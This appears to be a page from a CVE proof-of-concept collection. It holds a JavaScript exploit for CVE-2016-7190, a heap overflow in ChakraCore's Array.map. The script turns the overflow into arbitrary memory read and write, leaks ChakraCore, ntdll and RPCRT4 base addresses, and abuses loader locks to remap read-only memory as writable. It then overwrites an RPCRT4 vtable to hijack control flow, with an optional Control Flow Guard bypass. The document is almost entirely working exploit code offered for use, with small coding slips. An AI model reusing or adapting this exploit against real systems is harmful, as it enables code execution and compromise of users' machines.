4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2016-7190-mrdata-unlock.js JS
function hex(a) {
  if (a == undefined) return "0xUNDEFINED";
  var ret = a.toString(16);
  if (ret.substr(0,2) != "0x") return "0x"+ret;
  else return ret;
}


// based on Long.js by dcodeIO
// https://github.com/dcodeIO/Long.js
// License Apache 2
class _u64 {
   constructor(hi, lo) {
      this.lo_ = lo;
      this.hi_ = hi;
   }
   
   hex() {
      var hlo = (this.lo_ < 0 ? (0xFFFFFFFF + this.lo_ + 1) : this.lo_).toString(16)
      var hhi = (this.hi_ < 0 ? (0xFFFFFFFF + this.hi_ + 1) : this.hi_).toString(16)
      if(hlo.substr(0,2) == "0x") hlo = hlo.substr(2,hlo.length);
      if(hhi.substr(0,2) == "0x") hhi = hhi.substr(2,hji.length);
      hlo = "00000000" + hlo
      hlo = hlo.substr(hlo.length-8, hlo.length);
      return "0x" + hhi + hlo;
   }
   
   isZero() {
      return this.hi_ == 0 && this.lo_ == 0;
   }
   
   equals(val) {
      return this.hi_ == val.hi_ && this.lo_ == val.lo_;
   }
   
   and(val) {
      return new _u64(this.hi_ & val.hi_, this.lo_ & val.lo_);
   }
   
   add(val) {
      var a48 = this.hi_ >>> 16;
      var a32 = this.hi_ & 0xFFFF;
      var a16 = this.lo_ >>> 16;
      var a00 = this.lo_ & 0xFFFF;

      var b48 = val.hi_ >>> 16;
      var b32 = val.hi_ & 0xFFFF;
      var b16 = val.lo_ >>> 16;
      var b00 = val.lo_ & 0xFFFF;

      var c48 = 0, c32 = 0, c16 = 0, c00 = 0;
      c00 += a00 + b00;
      c16 += c00 >>> 16;
      c00 &= 0xFFFF;
      c16 += a16 + b16;
      c32 += c16 >>> 16;
      c16 &= 0xFFFF;
      c32 += a32 + b32;
      c48 += c32 >>> 16;
      c32 &= 0xFFFF;
      c48 += a48 + b48;
      c48 &= 0xFFFF;

      return new _u64((c48 << 16) | c32, (c16 << 16) | c00);
   }
   
   addi(h,l) {
      return this.add(new _u64(h,l));
   }
   
   subi(h,l) {
      return this.sub(new _u64(h,l));
   }
   
   not() {
      return new _u64(~this.hi_, ~this.lo_)
   }
   
   neg() {
      return this.not().add(new _u64(0,1));
   }
   
   sub(val) {
      return this.add(val.neg());
   };

   swap32(val) {
      return ((val & 0xFF) << 24) | ((val & 0xFF00) << 8) |
            ((val >> 8) & 0xFF00) | ((val >> 24) & 0xFF);
   }

   bswap() {
      var lo = swap32(this.lo_);
      var hi = swap32(this.hi_);
      return new _u64(lo, hi);
   };
}
var u64 = function(hi, lo) { return new _u64(hi,lo) };


function main2() {
   var n = [];
   for (var i = 0; i < 0x10; i++) {
      // nice pattern for easy checking with debugger
      n.push([i*0x10000 |    1, i*0x10000 |    2, i*0x10000 |    3, i*0x10000 |    4,
              i*0x10000 |    5, i*0x10000 |    6, i*0x10000 |    7, i*0x10000 |    8,
              i*0x10000 |    9, i*0x10000 | 0x10, i*0x10000 | 0x11, i*0x10000 | 0x12,
              i*0x10000 | 0x13, i*0x10000 | 0x14, i*0x10000 | 0x15, i*0x10000 | 0x16, 
              i*0x10000 | 0x17, i*0x10000 | 0x18, i*0x10000 | 0x19, i*0x10000 | 0x20,
              i*0x10000 | 0x21, i*0x10000 | 0x22, i*0x10000 | 0x23]);
   }
   
   var c = [new Uint8Array(0x100000), new Uint8Array(0x20), new Uint8Array(0x20),
            new Uint8Array(0x20),   new Uint8Array(0x20), new Uint8Array(0x20)];
   n.push(c);
   
   class fake extends Object {
      static get [Symbol.species]() { return function() { return n[5]; }; };
   }
   
   var handler = {
      get: function(target, name){
         if(name == "length"){
            return 0x200;
         }
         if(name == "constructor")
            return fake;

         if(name == 0) { // leak base addr of NativeIntArray n[6] 
            return  n[6];
         }
         if(name == 1) { // leak base addr Uint8Array 0x100000
            return n[0x10][0];
         }
         
         if(name == 17) { // overwrite n[6] JavascriptArray.length
            return 0x7FFFFFFF;
         }
         
         if(name == 21) { // overwrite len of n[6] SparseArraySegment.length
            return 0x7f00000000;
         }
         
         if(name == 22) { // overwrite length  of n[6] SparseArraySegment.size
            return 0x7FFFFFFF;
         }
         
         return 0; // never executed
      },

      // by only returning for some elements true we avoid linear buffer overflow 
      // -> overwrite only specifc values
      has: function(target, name){
          //print("has " + name);
         if(name == 0 || name == 1 || name == 17 || name == 21|| name == 22) {
            return true;
         }
         return false;
      }
   };
   
   var y = new Proxy([], handler);
      
   
   // ----------------------------------------------------------------------------
   // Exploit heap overflow to gain arbitrary read/write
   // 
   //  - Used vulnerability in Array.map (CVE-2016-7190)
   //  - More info and PoC:
   //    - https://technet.microsoft.com/library/security/ms16-119
   //    - https://bugs.chromium.org/p/project-zero/issues/detail?id=923
   // ----------------------------------------------------------------------------
   
   // trigger overflow
   var o = Array.prototype.map.apply(y, [function(a){ return a; }]);
   print(hex(n[6].length));
   
   w32_rel = function(offset, val) {
      n[6][(offset - 0x18)/4] = val;
   }
   
   r32_rel = function(offset) {
      return n[6][(offset - 0x18)/4];
   }
   
   // by overwriting 
   //  - JavascriptArray.length
   //  - SparseArraySegment.length
   //  - SparseArraySegment.size
   // we can use the native JS array for oob access

   
   // DEBUG
   // print(hex(n[5][1]) + " " + hex(n[5][0]));
   // print(hex(n[5][3]) + " " + hex(n[5][2]));
   var uint8_base_addr   = u64(n[5][3], n[5][2]);
   var uint8_base_offset = n[5][2]- (n[5][0] + 0x40); 
   print("[+] Uint8Array addr: " + hex(uint8_base_addr.hex()));
   // print("Uint8Array offset>> : " + hex(uint8_base_offset));
   
   // print("Uint8Array length>> " + hex(r32_rel(uint8_base_offset +0x20)));
   w32_rel(uint8_base_offset +0x20, 0x4141);
   // print("n[0x10][0].length " + n[0x10][0].length);
   // print("Uint8Array length>> " + hex(r32_rel(uint8_base_offset +0x20)));

   // get non clamped vtable
   var vtable_low_addr = r32_rel(uint8_base_offset +0x40);
   w32_rel(uint8_base_offset, vtable_low_addr);
   
   
   //print("Uint8Array length2>> " + hex(r32_rel(uint8_base_offset +0x28)));
   //print("Uint8Array length3>> " + hex(r32_rel(uint8_base_offset +0x2C)));
   
   var uint8_buf_addr = u64(r32_rel(uint8_base_offset + 0x3C), r32_rel(uint8_base_offset + 0x38))

    print("[+] Uint8Array buf addr: " + uint8_buf_addr.hex());
   
   // ----------------------------------------------------------------------------
   // ----------------------------------------------------------------------------


   // ----------------------------------------------------------------------------
   // Define functions that read/write various data widths from/to memory 
   // 
   // ----------------------------------------------------------------------------

   // define functions to read and write arbitrary memory
   var set_buffer_addr = function(u64_addr) {
      w32_rel(uint8_base_offset +0x38, u64_addr.lo_);
      w32_rel(uint8_base_offset +0x3C, u64_addr.hi_);
   }

   var r8 = function(u64_addr) {
      set_buffer_addr(u64_addr);
      return n[0x10][0][0];
   };

   var r16 = function(u64_addr) {
      set_buffer_addr(u64_addr);
      return n[0x10][0][1] << 8 | n[0x10][0][0];
   };

   var r32 = function(u64_addr) {
      set_buffer_addr(u64_addr);
      return n[0x10][0][3] << 24 | n[0x10][0][2] << 16 |
             n[0x10][0][1] <<  8 | n[0x10][0][0];
   };

   var r64 = function(u64_addr) {
      set_buffer_addr(u64_addr);
      return u64(n[0x10][0][7] << 24 | n[0x10][0][6] << 16 |
                 n[0x10][0][5] <<  8 | n[0x10][0][4] << 32,
                 n[0x10][0][3] << 24 | n[0x10][0][2] << 16 |
                 n[0x10][0][1] <<  8 | n[0x10][0][0]);
   };

   var w8 = function(u64_addr, u8_val) {
      set_buffer_addr(u64_addr);
      n[0x10][0][0] = u8_val & 0xFF;
   }

   var w32 = function(u64_addr, u32_val) {
      set_buffer_addr(u64_addr);
      n[0x10][0][0] = (u32_val >>  0) & 0xFF;
      n[0x10][0][1] = (u32_val >>  8) & 0xFF;
      n[0x10][0][2] = (u32_val >> 16) & 0xFF;
      n[0x10][0][3] = (u32_val >> 24) & 0xFF;
   }

   var w64 = function(u64_addr, u64_val) {
      set_buffer_addr(u64_addr);
      n[0x10][0][0] = (u64_val.lo_ >>  0) & 0xFF;
      n[0x10][0][1] = (u64_val.lo_ >>  8) & 0xFF;
      n[0x10][0][2] = (u64_val.lo_ >> 16) & 0xFF;
      n[0x10][0][3] = (u64_val.lo_ >> 24) & 0xFF;
      n[0x10][0][4] = (u64_val.hi_ >>  0) & 0xFF;
      n[0x10][0][5] = (u64_val.hi_ >>  8) & 0xFF;
      n[0x10][0][6] = (u64_val.hi_ >> 16) & 0xFF;
      n[0x10][0][7] = (u64_val.hi_ >> 24) & 0xFF;
   }

   // These offset highly depend on the version of Chakra(Core)/Windows

   uint8_vtable_addr = r64(uint8_base_addr);
   print("[+] uint8Array vtable: " + uint8_vtable_addr.hex());

   uint8_vtable_addr = r64(uint8_base_addr);

   var chakra_base_addr = r64(uint8_base_addr).subi(0,0x5726f0); // read vtable  function
   print("[+] ChakraCore base addr: " + chakra_base_addr.hex());

   var ntdll_base_addr = r64(chakra_base_addr.addi(0, 0x0649a18)); // ChakraCore!NtdllLibraryObject.baseclass_0.m_hModule
   print("[+] ntdll base addr: " + ntdll_base_addr.hex());

   var RtlpDynamicFunctionTableLock = ntdll_base_addr.addi(0,0x152170); // ntdll!RtlpDynamicFunctionTableLock
   print("[+]  RtlpDynamicFunctionTableLock addr: " + RtlpDynamicFunctionTableLock.hex());

   var  LdrpMrdataLock = ntdll_base_addr.addi(0,0x151FD0); // ntdll!LdrpMrdataLock
   print("[+]  LdrpMrdataLock addr: " +  LdrpMrdataLock.hex());

   var pLdrpMrdataBase = ntdll_base_addr.addi(0,0x164250);
   var LdrpMrdataBase = r64(ntdll_base_addr.addi(0,0x164250)); // ntdll!LdrpMrdataBase
   print("[+]  LdrpMrdataBase: " + LdrpMrdataBase.hex());

   var LdrpMrdataSize = ntdll_base_addr.addi(0,0x164240); // ntdll!LdrpMrdataSize
   print("[+]  LdrpMrdataSize addr: " + LdrpMrdataSize.hex());

   var SRWLockSpinCount = ntdll_base_addr.addi(0,0x151c28); // ntdll!SRWLockSpinCount
   print("[+]  SRWLockSpinCount addr: " + SRWLockSpinCount.hex());

  
   // increase waiting time 
   w32(SRWLockSpinCount, 0xFFFFFFFF);

   // aquire lock
   w64(RtlpDynamicFunctionTableLock, u64(0,0xF));

   // mark writable
   while(1) {
      // check when background processor tries to
      // aquire the lock
      var x = r64(RtlpDynamicFunctionTableLock);
      if(x.lo_ != 0xF) {
         // overwrite LdrpMrdataBase with an address
         // that is ok to be read only (first page of
         // chakra)
         w64(pLdrpMrdataBase, chakra_base_addr);
         // change size to 1 page
         w64(LdrpMrdataSize, u64(0,0x1000-1));
         // release lock
         w64(RtlpDynamicFunctionTableLock, u64(0,0x0));
         w32(x.subi(0,0x2f).addi(0,0x44), 0);
         print("[+]  done");
         break;
      }
   }
   
   var mark_writable = function(u64_addr, len) {
      w64(pLdrpMrdataBase, u64_addr);
      //print("new base: " + r64(pLdrpMrdataBase).hex())
      w64(LdrpMrdataSize, u64(0,len-1));
      w64(RtlpDynamicFunctionTableLock, u64(0,0xF));
      while(1) {
         var x = r64(RtlpDynamicFunctionTableLock);
         //print(x.hex());
         if(x.lo_ != 0xF) {
            w64(LdrpMrdataSize, u64(0,0x1000-1));
            w64(pLdrpMrdataBase, chakra_base_addr);
            w64(RtlpDynamicFunctionTableLock, u64(0,0x0));
            w32(x.subi(0,0x2f).addi(0,0x44), 0);
            print("[+] re-mapped " + u64_addr.hex())
            break;
         }
      }
   }

   //
   // How to use the mrdata unlock primitive to bypass CFG 
   //

   // Since we didn't get ChakraCore compiled to use CFG... 
   // here a slighty more complicated example that requires
   // us to first manipulate a read-only vtable of RPCRT4

   // remote codegen will trigger a call that is verified by 
   // CFGuard
   //
   // ntdll!LdrpDispatchUserCallTarget
   // RPCRT4!LRPC_BASE_CCALL::GetBuffer+0x18e
   // RPCRT4!NdrpClientCall3+0xf44
   // RPCRT4!NdrClientCall3+0xf2
   // chakracore!ClientRemoteCodeGen+0x26
   // chakracore!JITManager::RemoteCodeGenCall+0x2a 
   // chakracore!NativeCodeGenerator::CodeGen+0x86 


   //
   // set following variable to 'true' to bypass CFGuard
   // by overwriting the 
   // RPCRT4!_guard_dispatch_icall_fptr pointer with 
   // RPCRT4!guard_dispatch_icall_nop
   //
   var bypass_cfguard = false; 

   if(bypass_cfguard) {
      mark_writable(rpcrt4_base_addr.addi(0,0xec4a8), 8);
      w64(rpcrt4_base_addr.addi(0,0xec4a8), rpcrt4_base_addr.addi(0,0x78470));
   }


   // to hijack this call we first make the vtable writable
   // RPCRT4!LRPC_FAST_CCALL::`vftable'
   // then overwrite it with arbitary code pointer

   var rpcrt4_base_addr = r64(chakra_base_addr.addi(0,0x4e0538)).subi(0,0xd1c20); // chakracore!_imp_NdrServerCallNdr64
   print("[+] RPCRT4 base addr: " + rpcrt4_base_addr.hex());

   var fast_ccall_vtable = rpcrt4_base_addr.addi(0,0xe1328)
   mark_writable(fast_ccall_vtable.addi(0,0x120), 8);
   w64(fast_ccall_vtable.addi(0,0x120), u64(0x41,0x41414141));

   var do_jit = function() {
         var jit_me = function(arg) {
         return arg+1;
      }
      for (var i = 0; i < 1000000;) {
         i = jit_me(i);
      }
      return i;
   }

  
   //
   // trigger aboves vtable call by triggering remote codegen
   // if (bypass_cfguard == false) faults at  
   //    ntdll!LdrpDispatchUserCallTarget+0xe:
   //       mov     r11,qword ptr [r11+r10*8] ds:00007df7`04770500=????????????????
   //       0:005> r rax
   //       rax=0000004141414141

   //
   // if(bypass_cfguard == true) faults at  
   //    First chance exceptions are reported before any exception handling.
   //    This exception may be expected and handled.
   //    00000041`41414141 ??              ???
   //
   print(do_jit()); 

   // shouldn't be reached
   return 0;

}

print(main2());